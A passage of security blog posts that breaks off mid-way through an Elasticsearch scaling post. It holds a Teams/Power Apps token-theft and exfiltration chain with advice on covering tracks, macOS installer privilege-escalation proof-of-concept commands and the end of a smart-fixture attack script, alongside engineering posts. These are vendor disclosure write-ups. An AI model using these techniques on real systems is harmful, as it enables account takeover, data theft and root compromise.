run_sink_flood(attack, target, p)
else:
print("[*] target not found. have you tried turning it off and on again?")
continue
else:
print("[*] something's not write. exiting.")
exit()
if __name__ == "__main__":
main()

Plumbing the Depths of Sloan’s Smart Bathroom Fixture Vulnerabilities was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Stealing tokens, emails, files and more in Microsoft Teams through malicious tabs

14 June 2021 at 13:03

Trading up a small bug for a big impact

Intro

I recently came across an interesting bug in the Microsoft Power Apps service which, despite its simplicity, can be leveraged by an attacker to gain persistent read/write access to a victim user’s email, Teams chats, OneDrive, Sharepoint and a variety of other services by way of a malicious Microsoft Teams tab and Power Automate flows. The bug has since been fixed by Microsoft, but in this blog we’re going to see how it could have been exploited.

In the following sections, we’ll take a look at how we, as baduser(at)fakecorp.ca, a member of the fakecorp.ca organization, can create a malicious Teams tab and use it to eventually steal emails, Teams messages, and files from gooduser(at)fakecorp.ca, and send emails and messages on their behalf. While the attack we will look at has a lot of moving parts, it is fairly serious, as the compromise of business email is said to have cost victims $1.8 billion in 2020.

As an example to get us started, here is a quick clip of this method being used by Bad User to steal a Word document from Good User’s private OneDrive for Business.

Teams Tabs, Power Apps and Power Automate Flows

If you are already familiar with Teams and the Power Platform, feel free to skip this section, but otherwise, it may be useful to go over the pieces of the puzzle we’ll be using later.

Microsoft Teams has a default feature that allows a user to launch small applications as a tab in any team they are part of. If that user is part of an Office 365/Teams organization with a Business Basic license or above, they also have access to a set of Teams tabs which consist of Microsoft Power Apps applications.

A Teams tab with the Bulletins Power App

Power Apps are part of the wider Microsoft Power Platform, and when a user of a particular team launches their first Power App tab, it creates what Microsoft calls a “Dataverse for Teams Environment”, which according to Microsoft “is used to store, manage, and share team-specific data, apps, and flows”.

It should also be noted that, apart from the team-specific environments, there is a default environment for the organization as a whole. This is important because users can only create connectors and flows in either the default environment, or for teams which they own, and the attack we’re going to look at requires the ability to create Power Automate flows.

Power Automate is a service which lets users create automated workflows which can operate on their Office 365 organization’s data. For example, these flows can be used to do things like send emails on a particular schedule, or send Microsoft Teams messages any time a file on Sharepoint is updated.

Power Automate flow templates

The bug: trusting a bad domain

When a Power App tab is first created for a team, it runs through a deployment process that uses information gathered from the make.powerapps.com domain to install the application to the team dataverse/environment.

Installing the app

Teams tabs generally operate by opening an iframe to a page on a domain which is specified as trusted in that application’s manifest. What we see in the above image is a tab that contains an iframe to the page apps.powerapps.com/teams/makerportal?makerPortalUrl=https://make.powerapps.com/somePageHere, which itself is opening an iframe to the make.powerapps.com page passed in makerPortalUrl.

Immediately upon seeing this I was curious if I could make the apps.powerapps.com page load our own content. I noticed a couple of things:

  1. The apps.powerapps.com page will only load the iframe to makerPortalUrl if it is in a Microsoft Teams tab (it uses the Microsoft Teams javascript client sdk).
  2. The child iframe would only load if the makerPortalUrl begins with https://make.powerapps.com

We can see this happen if we view the page’s source, testing out different parameters. Trying to load any url which doesn’t begin with https://make.powerapps.com results in the makerPortalUrl being set to an empty string. However, the validation stops at checking whether the domain begins with make.powerapps.com, and does not check whether it is the full domain.

So, if we set makerPortalUrl equal to something like https://make.powerapps.com.fakecorp.ca/ we will be able to load our own content in the iframe!

Cool, we can load an iframe with our own content two iframes deep in a Teams tab, but what does that get us? Microsoft Teams already has a website tab type which lets you load an iframe with a URL of your choosing, and with those you can’t do much. Fortunately for us, some tabs have more capabilities than others.

Stealing auth tokens with postMessage

We can load our own content in an iframe, which itself is sitting in an iframe on apps.powerapps.com. The reason this is more interesting than something like the Website tab type on Teams is that for Power App extension tab types, the app.powerapps.com page communicates both with Teams, by way of the Teams JS SDK, as well as its child iframe using javascript postMessage.

We can communicate with the parent window via postMessage

Using a Chrome extension, we can watch the postMessages passed between windows as an application is installed and launched. At first glance, the most interesting message is a postMessage from make.powerapps.com in the innermost window (the window which we are replacing when specifying our own makerPortalUrl) to the apps.powerapps.com window, with GET_ACCESS_TOKEN in the data.

The frame which we were replacing was getting access tokens from its parent window without passing any sort of authentication.

the child iframe requesting an access token via postMessage

I tested this same kind of postMessage from the make.powerapps.com.fakecorp.ca subdomain, and sure enough, I was able to grab the same access tokens. A handler is registered in the WebPlayer.EmbedMakerPortal.js file loaded by apps.powerapps.com which fetches tokens for the requested resource using the https://apps.powerapps.com/auth/onbehalfof endpoint, which in our testing is capable of grabbing tokens for:

- apihub.azure.com
- graph.microsoft.com
- dynamics apps subdomains
- service.flow.microsoft.com
- service.powerapps.com
Grabbing the access token from a page we control

This is a super exciting thing to see: A tab under our control which can be created in a public team can retrieve access tokens on behalf of the user viewing it. Let’s slow down for a moment though, because I forgot to show an important step: how did we get our own content in a tab in the first place?

Overwriting a Teams tab

I mentioned earlier that Teams tabs generally operate by opening an iframe to a page which is specified in the tab application’s manifest. The request to define what page is loaded by a tab can be seen when adding a new tab or even renaming a currently existing tab.

The PUT request for renaming a tab lets us change the tab url

The url being given in this PUT request is pointing to the Bulletins Power App which is installed in our team environment. To point the tab to our malicious content we simply have to replace that url with our apps.powerapps.com/teams/makerportal?makerPortalUrl=https://make.powerapps.com.fakecorp.ca page.

It should be noted that this only works because we are passing a url with a trusted domain (apps.powerapps.com) according to the application’s manifest. If we try to pass malicious content directly as the tab’s url, the tab will not load our content.

A short and inconspicuous proof of concept

While the attacks we will look at later are longer and overly noisy for demonstration purposes, let’s consider a very quick proof of concept of how we could use what we currently have to steal access tokens from unsuspecting users.

If we host a page similar to the following and overwrite a tab to point to it, we can grab users’ service.flow.microsoft.com token and send it to another listener we control, while also loading the original Power App in an iframe that matches the tab size. While it won’t look exactly like a normally-running Power App tab, it doesn’t look different enough to notice. If the application requires postMessage communication with the parent app, we could even act as a man-in-the-middle for the postMessages being sent and received by adding a message handler to the PoC.

During the loading you can see two spinning circles. The smaller one is our JS running.

Now that we know we can steal certain tokens, let’s see what we can do with them, specifically the service.flow.microsoft.com token we just stole.

Stealing more tokens, emails, messages and files

The reason we’re focused on the service.flow.microsoft.com token is because it can be used to get us access to more tokens, and to create Power Automate flows, which will allow us to access a user’s email from Outlook, Teams messages, files from OneDrive and SharePoint, and a whole lot more.

We will construct the attack, at a high level, by:

- Grabbing an extra set of tokens from api.flow.microsoft.com
- Creating connectors to the services we want to access.
- Consent on behalf of the victim user using first party logins
- Creating Power Automate flows on the victim user’s behalf which let us send/receive emails and teams messages, retrieve emails, messages and files.
- Adding ourselves (or a group we’re in) to the owners of the flow.
- Having the victim user send an email to us containing any information we need to access the flows.

For our example we’re going to be showing pieces of a proof of concept which creates:

- Office 365 (for outlook access), and Teams connectors
- A flow which lets us send emails as the user
- A flow which lets us get all Teams messages from channels the victim is in, and send messages on their behalf.

The api.flow.microsoft.com token bundle

The first stop on our quest to get access to everything the victim user holds dear is an api endpoint which will let us generate a handful of new access tokens. Sending an empty POST request to api.flow.microsoft.com/providers/Microsoft.ProcessSimple/environments/<environment>/users/me/onBehalfOfTokenBundle?api-version=2021–01–03 will let us grab the following tokens, with the following scopes:

the api.flow.microsoft.com token bundle
- graph.microsoft.com
- scope : Contacts.Read Contacts.Read.Shared Group.Read.All TeamsAppInstallation.ReadWriteForTeam TeamsAppInstallation.ReadWriteSelfForChat User.Read User.ReadBasic.All
- graph.microsoft.net
- scope : user_impersonation
- appservice.azure.com
- scope : user_impersonation
- apihub.azure.com
- scope : user_impersonation
- consent.msp.windows.net/logic-app-aad
- scope : user_impersonation
- service.powerapps.com
- scope : user_impersonation

Some of these tokens will become useful to us for constructing a larger attack (specifically the graph.microsoft.com and apihub.azure.com tokens).

Creating connectors and using first party logins

To create flows which let us take control of the victim’s services, we first need to create connectors for those services.

When a connector is created, a user can use a consent link to login via a login.microsoft.com popup and grant permissions for the service for which the connector is being made (like Office 365, Teams, or Sharepoint). Some connectors, however, come with a first party login url, which lets us bypass the regular interactive login process and authorize the connector using only the authorization tokens already gathered.

Creating a connector on the victim’s behalf takes only three requests, the final of which is a POST request to the first party login url, with the apihub.azure.com access token.

consenting to a connector with a stolen apihub.azure.com token

After this third request, the connector will be ready to use with any flow we create.

Creating a flow

Given the number of potential connector types, flow triggers, and actions we can perform, there are an endless number of ways that we could leverage this access. They range anywhere from simply forwarding every email which is received by the victim to the attacker, to only performing actions if a particular RSS feed updates, to creating REST endpoints that let us trigger any number of different actions in different services.

Additionally, if the organization happens to have premium Power Apps/Automate licensing, there are many more options available. It is honestly a very useful system (even if you’re not trying to exploit a whole Office 365 org).

For our attack, we will look at creating a flow which gives us access to endpoints which take JSON input, and perform the actions we want (send emails, teams messages, downloads files, etc). It is a noisier method, since it requires the attacker to send requests (authenticated as themselves), but it is convenient for demonstration. Not all flows require the attacker to be authenticated, or require user interaction.

Choosing flow triggers

A flow trigger is how a flow will be kicked off / knows when to begin. The three main types are automatic (when an email comes in, forward it to this address), instant (when a request is received at this endpoint, trigger the flow), and scheduled (run the flow every xyz seconds/minutes/hours).

The flow trigger we would prefer to use is the “when an HTTP request is received” trigger, which lets unauthenticated users trigger the flow, but that is a premium feature, so instead we will use the “Manually Trigger a Flow” trigger.

The trigger for our Microsoft Teams flow

This trigger requires authentication, but because it is assumed that the attacker is part of the organization this shouldn’t be a problem, and there are ways to limit information about who is running what flows.

Creating the flow logic

Flows allow you to create an automated process piece by piece, passing the outputs of one action to the next. For example, in the flow we created to let us get all Teams messages from a user, as well as send messages to any channel on their behalf, we determine what action to take, who to send the message to and other details depending on the input passed to the trigger.

Sending a message is quick and simple, but to retrieve all messages for all teams and channels, we first grab a list of all teams, then get each channel per team, then all messages per channel, and roll it up into one big gross ball and have the flow send it to the attacker via email.

The Teams flow for our PoC

Now that we have the flow created, we need to know how we can create it, and share it with ourselves as the attacker, using the tokens we’ve stolen and what those requests look like. Luckily in our case, it is just a couple of simple requests.

  1. A POST request, containing JSON object representing the flow, to create it and get the unique flow name.
  2. A GET request to grab the flow trigger uri, which will let us trigger the flow as the attacker once we have added ourselves to the owners group.

Adding a group to flow owners

For the trigger we chose, we need to be able to access the flow trigger uri, which can only be done by users who have access to the flow. As a result, we need to add a group we belong to (which seems less suspicious than just adding ourselves) to the flow owners.

The easiest choice here is some large, all-encompassing group, but in our case we’re using the group which is generated automatically for any team created in Microsoft Teams.

In order to grab the unique group id, we use the graph.microsoft.com token we stole from the victim earlier. We then modify the flow’s owners to include that group.

adding a group to the flow owners

Running the flow and sending ourselves the uris we need

In the proof of concept we’re building, we create a flow that lets us send emails on behalf of the victim user. This can be leveraged at the end of the attack to send ourselves the list of the flow trigger uris we need in order to perform the actions we want.

sending an email using the Outlook connector and flow we’ve created

For example, at the end of the email/Teams proof of concept we’re building, an email is sent on the victim’s behalf which sends us the flow trigger uris for both the Outlook and Teams flows we’ve created.

The message we receive from the victim with the flow trigger uris

Using these flow trigger uris, we can now read the victim’s emails and Teams messages, and send messages and emails on their behalf (despite being authenticated as Bad User).

Putting it all together

The “TL;DR” shot: actions the malicious tab performs on opening

There are a number of ways in which we could build an attack with this vulnerability. It is likely that the best way would be to only use javascript on the malicious tab to steal the service.flow.microsoft.com token, and then perform the rest of the actions from an attacker-controlled server, so we reduce the traffic being generated by the victims and aren’t cut off by them navigating away from the tab.

For our quick and dirty PoC however, we just perform the whole attack with one big javascript section in our malicious tab. The pseudocode for our attack looks like this:

Setting up a malicious tab with a payload like the one above will cause the victim to create connectors and flows, and add the attacker as an owner to them, as well as send them an email containing the flow trigger uris.

As a real example, here is a quick clip of a similar payload running and sending the attacker the victim’s Teams messages, and letting the attacker send a message to a private team masquerading as the victim.

stealing and sending Teams messages

Considerations for the attacker

If you’ve gone through the above and thought “cool, but it would be really easy for an admin to determine who is using these flows maliciously,” you’d be correct. However, there are a number of steps one could take to limit the exposure of the attacking user if a similar attack is being carried out in a penetration test.

  • Flows allow you to specify whether the inputs and outputs to each action should be kept secret / scrubbed from the flow’s run history. This means that it would be harder to observe what data is being taken, and where it is being sent.
  • Not all flows require the user to make authenticated requests to trigger. Low and slow methods like having flows trigger on a RSS feed update (30 minute minimum period), or on a schedule, or automatically (like when a new email comes in from any account, read the email body and perform those actions).
  • Running the attack as one long javascript payload isn’t ideal and takes too long in real situations. Just grabbing the service.flow.microsoft.com token and conducting the rest of the attack from an attacker-controlled machine would be much less conspicuous.
  • Flows can be used to creatively cover an attacker’s tracks. For example, if you exfiltrate data via email in a flow, you can add a final step which deletes any emails sent to the attacker’s mail from the Sent Items folder.

Considerations for org administrators

While it may be difficult to determine who in a team has set up a malicious tab, or what user is running the flows (if the inputs/outputs have been made secret), there is a potential indicator to identify whether a user has had malicious flows run on their behalf.

When a user logs into make.powerapps.com or flow.microsoft.com to create a flow, a Microsoft Power Automate free license is automatically added to their set of licenses (if they didn’t already have one assigned to them). However, when flows are created on a user’s behalf by a malicious tab, they don’t have the license assigned to them. This license status can be cross referenced with which users have flows created under their name at admin.powerplatform.microsoft.com

organization admin portal

Notice that Bad User has logged into the flow.microsoft.com web interface, but Good User, despite having flows in their name listed in admin.powerplatform.microsoft.com, does not show as having a license for Power Automate. This could indicate that the flows were not created intentionally by Good User.

Luckily, the attack is limited to authenticated users within a Teams organization who have the ability to create Power Apps tabs, which means it can’t just be exploited by an untrusted/unauthenticated attacker. However, the permission to create these tabs is enabled by default, so it may be a good idea to consider limiting apps by default and enable them on request.

Takeaways

While that was a long and not quite straightforward attack, the potential impact of such an attack could be huge, especially if it happens to hit an organization administrator. That such a small initial bug (the improper validation of the make.powerapps.com domain) could be traded-up until an attacker is exfiltrating emails, Teams messages, OneDrive and SharePoint files is definitely concerning. It means that even a small bug in a not-so-common service like Microsoft Power Apps could lead to the compromise of many other services by way of token bundles and first party logins for connectors.

So if you happen to find a small bug in one service, see how far you can take it and see if you can trade a small bug for a big impact. There are likely other creative and serious potential attacks we didn’t explore with all of the potential access tokens we were able to steal. Let me know if you spot one 🙂.

Thanks for reading!


Stealing tokens, emails, files and more in Microsoft Teams through malicious tabs was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

More macOS Installer Flaws

3 June 2021 at 13:02

Back in December, we wrote about attacking macOS installers. Over the last couple of months, as my team looked into other targets, we kept an eye on the installers of applications we were using and interacting with regularly. During our research, we noticed yet another of the aforementioned flaws in the Microsoft Teams installer and in the process of auditing it, discovered another generalized flaw with macOS package installers.

Frustrated by the prevalence of these issues, we decided to write them up and make separate reports to both Apple and Microsoft. We wrote to Apple to recommend implementing a fix similar to what they did for CVE-2020–9817 and explained the additional LPE mechanism discovered. We wrote to Microsoft to recommend a fix for the flaw in their installer.

Both companies have rejected these submissions and suggestions. Below you will find full explanations of these flaws as well as proofs-of-concept that can be integrated into your existing post-exploitation arsenals.

Attack Surface

To recap from the previous blog, macOS installers have a variety of convenience features that allow developers to customize the installation process for their applications. Most notable of these features are preinstall and postinstall scripts. These are scripts that run before and after the actual application files are copied to their final destination on a given system.

If the installer itself requires elevated privileges for any reason, such as setting up a system-level Launch Daemon for an auto-updater service, the installer will prompt the user for permission to elevate privileges to root. There is also the case of unattended installations automatically doing this, but we will not be covering that in this post.

The primary issue being discussed here occurs when these scripts — running as root — read from and write to locations that a normal, lower-privileged user has control over.

Issue 1: Usage of Insecure Directories During Elevated Installations

In July 2020, NCC Group posted their advisory for CVE-2020–9817. In this advisory, they discuss an issue where files extracted to Installer Sandbox directories retained the permissions of a lower-privileged user, even when the installer itself was running with root privileges. This means that any local attacker (local for code execution, not necessarily physical access) could modify these files and potentially escalate to root privileges during the installation process.

NCC Group conceded that these issues could be mitigated by individual developers, but chose to report the issue to Apple to suggest a more holistic solution. Apple appears to have agreed, provided a fix in HT211170, and assigned a CVE identifier.

Apple’s solution was simple: They modified files extracted to an installer sandbox to obtain the permissions of the user the installer is currently running as. This means that lower privileged users would not be able to modify these files during the installation process and influence actions performed by root.

Similar to the sandbox issue, as noted in our previous blog post, it isn’t uncommon for developers to use other less-secure directories during the installation process. The most common directories we’ve come across that fit this bill are /tmp and /Applications, which both have read/write access for standard users.

Let’s use Microsoft Teams as yet another example of this. During the installation process for Teams, the application contents are moved to /Applications as normal. The postinstall script creates a system-level Launch Daemon that points to the TeamsUpdaterDaemon application (/Applications/Microsoft Teams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon), which will run with root permissions. The issue is that if a local attacker is able to create the /Applications/Microsoft Teams directory tree prior to installation, they can overwrite the TeamsUpdaterDaemon application with their own custom payload during the installation process, which will be run as a Launch Daemon, and thus give the attacker root permissions. This is possible because while the installation scripts do indeed change the write permissions on this file to root-only, creating this directory tree in advance thwarts this permission change because of the open nature of /Applications.

The following demonstrates a quick proof of concept:

# Prep Steps Before Installing
/tmp ❯❯❯ mkdir -p “/Applications/Microsoft Teams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/”
# Just before installing, have this running. Inelegant, but it works for demonstration purposes.
# Payload can be whatever. It won’t spawn a GUI, though, so a custom dropper or other application would be necessary.
/tmp ❯❯❯ while true; do
ln -f -F -s /tmp/payload “/Applications/Microsoft Teams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon”;
done
# Run installer. Wait for the TeamUpdaterDaemon to be called.

The above creates a symlink to an arbitrary payload at the file path used in the postinstall script to create the Launch Daemon. During the installation process, this directory is owned by the lower-privileged user, meaning they can modify the files placed here for a short period of time before the installation scripts change the permissions to allow only root to modify them.

In our report to Microsoft, we recommended verifying the integrity of the TeamsUpdaterDaemon prior to creating the Launch Daemon entry or using the preinstall script to verify permissions on the /Applications/Microsoft Teams directory.

The Microsoft Teams vulnerability triage team has been met with criticism over their handling of vulnerability disclosures these last couple of years. We’d expected that their recent inclusion in Pwn2Own showcased vast improvements in this area, but unfortunately, their communications in this disclosure as well as other disclosures we’ve recently made regarding their products demonstrate that this is not the case.

Full thread: https://mobile.twitter.com/EyalItkin/status/1395278749805985792
Full thread: https://twitter.com/mattaustin/status/1200891624298954752
Full thread: https://twitter.com/MalwareTechBlog/status/1254752591931535360

In response to our disclosure report, Microsoft stated that this was a non-issue because /Applications requires root privileges to write to. We pointed out that this was not true and that if it was, it would mean the installation of any application would require elevated privileges, which is clearly not the case.

We received a response stating that they would review the information again. A few days later our ticket was closed with no reason or response given. After some prodding, the triage team finally stated that they were still unable to confirm that /Applications could be written to without root privileges. Microsoft has since stated that they have no plans to release any immediate fix for this issue.

Apple’s response was different. They stated that they did not consider this a security concern and that mitigations for this sort of issue were best left up to individual developers. While this is a totally valid response and we understand their position, we requested information regarding the difference in treatment from CVE-2020–9817. Apple did not provide a reason or explanation.

Issue 2: Bypassing Gatekeeper and Code Signing Requirements

During our research, we also discovered a way to bypass Gatekeeper and code signing requirements for package installers.

According to Gatekeeper documentation, packages downloaded from the internet or created from other possibly untrusted sources are supposed to have their signatures validated and a prompt is supposed to appear to authorize the opening of the installer. See the following quote for Apple’s explanation:

When a user downloads and opens an app, a plug-in, or an installer package from outside the App Store, Gatekeeper verifies that the software is from an identified developer, is notarized by Apple to be free of known malicious content, and hasn’t been altered. Gatekeeper also requests user approval before opening downloaded software for the first time to make sure the user hasn’t been tricked into running executable code they believed to simply be a data file.

In the case of downloading a package from the internet, we can observe that modifying the package will trigger an alert to the user upon opening it claiming that it has failed signature validation due to being modified or corrupted.

Failed signature validation for a modified package

If we duplicate the package and modify it, however, we can modify contained files at will and repackage it sans signature. Most users will not notice that the installer is no longer signed (the lock symbol in the upper right-hand corner of the installer dialog will be missing) since the remainder of the assets used in the installer will look as expected. This newly modified package will also run without being caught or validated by Gatekeeper (Note: The applications installed will still be checked by Gatekeeper when they are run post-installation. The issue presented here regards the scripts run by the installer.) and could allow malware or some other malicious actor to achieve privilege escalation to root. Additionally, this process can be completely automated by monitoring for .pkg downloads and abusing the fact that all .pkg files follow the same general format and structure.

The below instructions can be used to demonstrate this process using the Microsoft Teams installer. Please note that this issue is not specific to this installer/product and can be generalized and automated to work with any arbitrary installer.

To start, download the Microsoft Teams installation package here: https://www.microsoft.com/en-us/microsoft-teams/download-app#desktopAppDownloadregion

When downloaded, the binary should appear in the user’s Downloads folder (~/Downloads). Before running the installer, open a Terminal session and run the following commands:

# Rename the package
yes | mv ~/Downloads/Teams_osx.pkg ~/Downloads/old.pkg
# Extract package contents
pkgutil — expand ~/Downloads/old.pkg ~/Downloads/extract
# Modify the post installation script used by the installer
mv ~/Downloads/extract/Teams_osx_app.pkg/Scripts/postinstall ~/Downloads/extract/Teams_osx_app.pkg/Scripts/postinstall.bak
echo “#!/usr/bin/env sh\nid > ~/Downloads/exploit\n$(cat ~/Downloads/extract/Teams_osx_app.pkg/Scripts/postinstall.bak)” > ~/Downloads/extract/Teams_osx_app.pkg/Scripts/postinstall
rm -f ~/Downloads/extract/Teams_osx_app.pkg/Scripts/postinstall.bak
chmod +x ~/Downloads/extract/Teams_osx_app.pkg/Scripts/postinstall
# Repackage and rename the installer as expected
pkgutil -f --flatten ~/Downloads/extract ~/Downloads/Teams_osx.pkg

When a user runs this newly created package, it will operate exactly as expected from the perspective of the end-user. Post-installation, however, we can see that the postinstall script run during installation has created a new file at ~/Downloads/exploit that contains the output of the id command as run by the root user, demonstrating successful privilege escalation.

Demo of above proof of concept

When we reported the above to Apple, this was the response we received:

Based on the steps provided, it appears you are reporting Gatekeeper does not apply to a package created locally. This is expected behavior.

We confirmed that this is indeed what we were reporting and requested additional information based on the Gatekeeper documentation available:

Apple explained that their initial explanation was faulty, but maintained that Gatekeeper acted as expected in the provided scenario.

Essentially, they state that locally created packages are not checked for malicious content by Gatekeeper nor are they required to be signed. This means that even packages that require root privileges to run can be copied, modified, and recreated locally in order to bypass security mechanisms. This allows an attacker with local access to man-in-the-middle package downloads and escalates privileges to root when a package that does so is executed.

Conclusion and Mitigations

So, are these flaws actually a big deal? From a realistic risk standpoint, no, not really. This is just another tool in an already stuffed post-exploitation toolbox, though, it should be noted that similar installer-based attack vectors are actively being exploited, as is the case in recent SolarWinds news.

From a triage standpoint, however, this is absolutely a big deal for a couple of reasons:

  1. Apple has put so much effort over the last few iterations of macOS into baseline security measures that it seems counterproductive to their development goals to ignore basic issues such as these (especially issues they’ve already implemented similar fixes for).
  2. It demonstrates how much emphasis some vendors place on making issues go away rather than solving them.

We understand that vulnerability triage teams are absolutely bombarded with half-baked vulnerability reports, but becoming unresponsive during the disclosure response, overusing canned messaging, or simply giving incorrect reasons should not be the norm and highlights many of the frustrations researchers experience when interacting with these larger organizations.

We want to point out that we do not blame any single organization or individual here and acknowledge that there may be bigger things going on behind the scenes that we are not privy to. It’s also totally possible that our reports or explanations were hot garbage and our points were not clearly made. In either case, though, communications from the vendors should have been better about what information was needed to clarify the issues before they were simply discarded.

Circling back to the issues at hand, what can users do to protect themselves? It’s impractical for everyone to manually audit each and every installer they interact with. The occasional spot check with Suspicious Package, which shows all scripts executed when an installer package is run, never hurts. In general, though, paying attention to proper code signatures (look for the lock in the upper righthand corner of the installer) goes a long way.

For developers, pay special attention to the directories and files being used during the installation process when creating distribution packages. In general, it’s best practice to use an installer sandbox whenever possible. When that isn’t possible, verifying the integrity of files as well as enforcing proper permissions on the directories and files being operated on is enough to mitigate these issues.

Further details on these discoveries can be found in TRA-2021–19, TRA-2021–20, and TRA-2021–21.


More macOS Installer Flaws was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Optimizing 700 CPUs Away With Rust

By: Alan Ning
6 May 2021 at 15:31

In Tenable.io, we are heavy users of Datadog custom metrics. Millions of metrics are sent through Dogstatsd, providing deep insights into the complex platform. As the platform grew, we found that a significant number of metrics sent by legacy apps were obsolete. We tried to hunt down these obsoleted metrics in the codebase, but modifying legacy applications was extremely time consuming and risky.

To address this, we deployed a StatsD filter as a Datadog agent sidecar to filter out unnecessary metrics. The filter is a simple UDP datagram forwarder written in Node.js (sample, not actual code). We chose Node.js because in our environment, its network performance outstripped other languages that equalled its speed to production. We were able to implement, test and deploy this change across all of the T.io platform within a week.

statsd-filter-proxy is deployed as a sidecar to datadog-agent, filtering all StatsD traffic prior to DogstatsD.

While this worked for many months, performance issues began to crop up. As the platform continued to scale up, we were sending more and more metrics through the filter. During the first quarter of 2021, we added over 1.4 million new metrics as an effort to improve our observability. The filters needed more CPU resources to keep up with the new metrics. At this scale, even a minor inefficiency can lead to large wastage. Over time, we were consuming over 1000 CPUs and 400GB of memory on these filters. The overhead had become unacceptable.

We analyzed the performance metrics and decided to rewrite the filter in a more efficient language. We chose Rust for its high performance and safety characteristics. (See our other post on Rust evaluations) The source code of the new Rust-based filter is available here.

The Rust-based filter is much more efficient than the original implementation. With the ability to fully manage the heap allocations, Rust’s memory allocation for handling each datagram is kept to a minimum. This means that the Rust-based filter only needs a few MB of memory to operate. As a result, we saw a 75% reduction in CPU usage and a 95% reduction in memory usage in production.

Per pod, average CPU reduced from 800m to 200m core
Per pod, average memory reduced from 70MB to 5MB.

In addition to reclaiming compute resources, the latency per packet has also dropped by over 50%. While latency isn’t a key performance indicator for this application, it is rewarding to see that we are running twice as fast for a fraction of the resources.

With this small change, we were able to optimize away over 700 CPU and 300GB of memory. This was all implemented, tested and deployed in a single sprint (two weeks). Once the new filter was deployed, we were able to confirm the resource reduction in Datadog metrics.

CPU / Memory usage dropped drastically following the deployment

Source: https://github.com/tenable/statsd-filter-proxy-rs

TL;DR:

  • Replaced JS-based StatsD filter with Rust and received huge performance improvement.
  • At scale, even small optimization can result in a huge impact.

Optimizing 700 CPUs Away With Rust was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Scaling Tenable.io — From Site to Cell

By: Alan Ning
4 March 2021 at 15:46

Scaling Tenable.io — From Site to Cell

Since the inception of Tenable.io, keeping up with data pressure has been a continuous challenge. This data pressure comes from two dimensions: the growth of the customer base and the growth of usage from each customer. This challenge has been most notable in Elasticsearch, since it is one of the most important stages in our petabytes-scale SaaS pipeline.

When customers run vulnerability scans, the Nessus scanners upload the scan data to Tenable.io. There, the data is broken down into documents detailing vulnerability information, including data such as asset information and cyber exposure details. These documents are then aggregated into an Elasticsearch index. However, when the index reached the scale of hundreds of nodes per cluster, the team discovered that further horizontal scaling would affect overall stability. We would encounter more hot shard problems, leading to uneven load across the index and affecting the user experience. This post will detail the re-architecture that both solved this scaling problem and achieved massive performance improvements for our customers.

Incremental Scaling from Site to Cell

Tenable.io scales by sites, which a site handles requests for a group of customers.

Each point of presence, called a site, contains a multi-tenant Elasticsearch instance to be used by geographically similar customers. As data pressure increases, however, horizontal scaling will cause instability, which will in turn cause instability at the site level.

To overcome this challenge, our overall strategy was to break out the site-wide (monolith) Elasticsearch cluster into multiple smaller, more manageable clusters. We call these smaller clusters cells. The rule is simple: If a customer has over 100 million documents, they will be isolated into their own cell. Smaller customers will be moved to one of the general population (GP) clusters. We came up with a technique to achieve zero downtime migration with massive performance gains.

Migrate from site to cell, where customer with large dataset may get their own Elasticsearch cluster.

Request Routing and Backfill

To achieve a zero downtime migration, we implemented two key pieces of software:

  1. An Elasticsearch proxy that can:
  • Transparently proxy any Elasticsearch request to any Elasticsearch cluster
  • Intelligently tee any write request (e.g. Index, Bulk) to one or more clusters

2. A Spark job that can:

  • Query specific customer data
  • Using parallelized scrolls, read the Spark dataframes from the monolith cluster
  • Map the Spark dataframes from the monolith cluster directly to the cell-based cluster

To start, we reconfigured micro-services to communicate with Elasticsearch through the proxy. Based on the targeted customer (more on this later), the proxy performed dual write to the old monolith cluster and the new cell-based cluster. Once the dual write began, all new documents started flowing to the new cell cluster. For all older documents, we ran a Spark job to pull old data from the monolith cluster to the new cell cluster. Finally, after the Spark job completed, we cut all new queries over to the new cell cluster.

A zero downtime backfill process. Step 1: start dual write. Step 2: Backfill old data. Step 3: Cutover reads.

Elasticsearch Proxy

With the cell architecture, we see a future where migrating customers from one Elasticsearch cluster to another is a common event. Customers in a multi-tenant cluster can easily outgrow the cluster’s capacity over time and require migration to other clusters. In addition, we need to reindex the data from time to time to adjust immutable settings (e.g. shard count). With this in mind, we want to make sure this type of migration is completely transparent to all the micro services. This is why we built a proxy to encapsulate all customer routing logic such that all data allocation is completely transparent to client services.

Elasticsearch proxy encapsulate all customer routing logic from all other services.

For the proxy to be able to route requests to the correct Elasticsearch clusters, it needs the customer ID to be sent along with each request. To achieve this, we injected a X-CUSTOMER-ID HTTP header in each search and index request. The proxy inspected the X-CUSTOMER-ID header in each request, looked up the customer to cluster mapping, and forwarded the request on to the correct cluster.

While search and index requests always target a single customer, a bulk request contains a large number of documents for numerous customers. A single X-CUSTOMER-ID HTTP header would not provide sufficient routing information for the request. To overcome this, we found an interesting hack in Elasticsearch.

A bulk request body is encoded in a newline-delimited JSON (NDJSON) structure. Each action line is an operation to be performed on a document. This is an example directly copied from Elasticsearch documentation:

We found that within an action line, you can append any amount of metadata to the line as long as it is outside the action body. Elasticsearch seems to accept the request and ignore the extra content with no side effects (verified with ES2 to ES7). With this technique, we modified all clients of the Summary index to append customer IDs to every action.

With this modification, the proxy has enough information to break down a bulk request into subrequests for each customer.

Spark Backfill

To backfill old data after dual writes were enabled, we used AWS EMR with the elasticsearch-hadoop SDK to perform parallel scrolls against every shard from the source index. As Spark retrieves the data in the Resilient Distributed Dataset (RDD) format, the same RDD can be written directly to the destination index. Since we’re backfilling old data, we want to make sure we don’t overwrite anything that’s already been written. To accomplish this, we set es.write.operation to “create”. (Look for an upcoming blog post about how Tenable uses Kotlin with EMR and Spark!)

Here’s some high level sample code:

To optimize the backfill performance, we performed steps similar to the ones taken by Soundcloud. Specifically, we found the following settings the most impactful:

  • Setting the index replica to 0
  • Setting the refresh interval to 5 minutes

However, since we are migrating data using a live production system, our primary goal is to minimize performance impact. In the end, we settled on indexing 9000 documents per second as the sweet spot. At this rate, migrating a large customer takes 10–20 hours, which is fast enough for this effort.

Performance Improvement

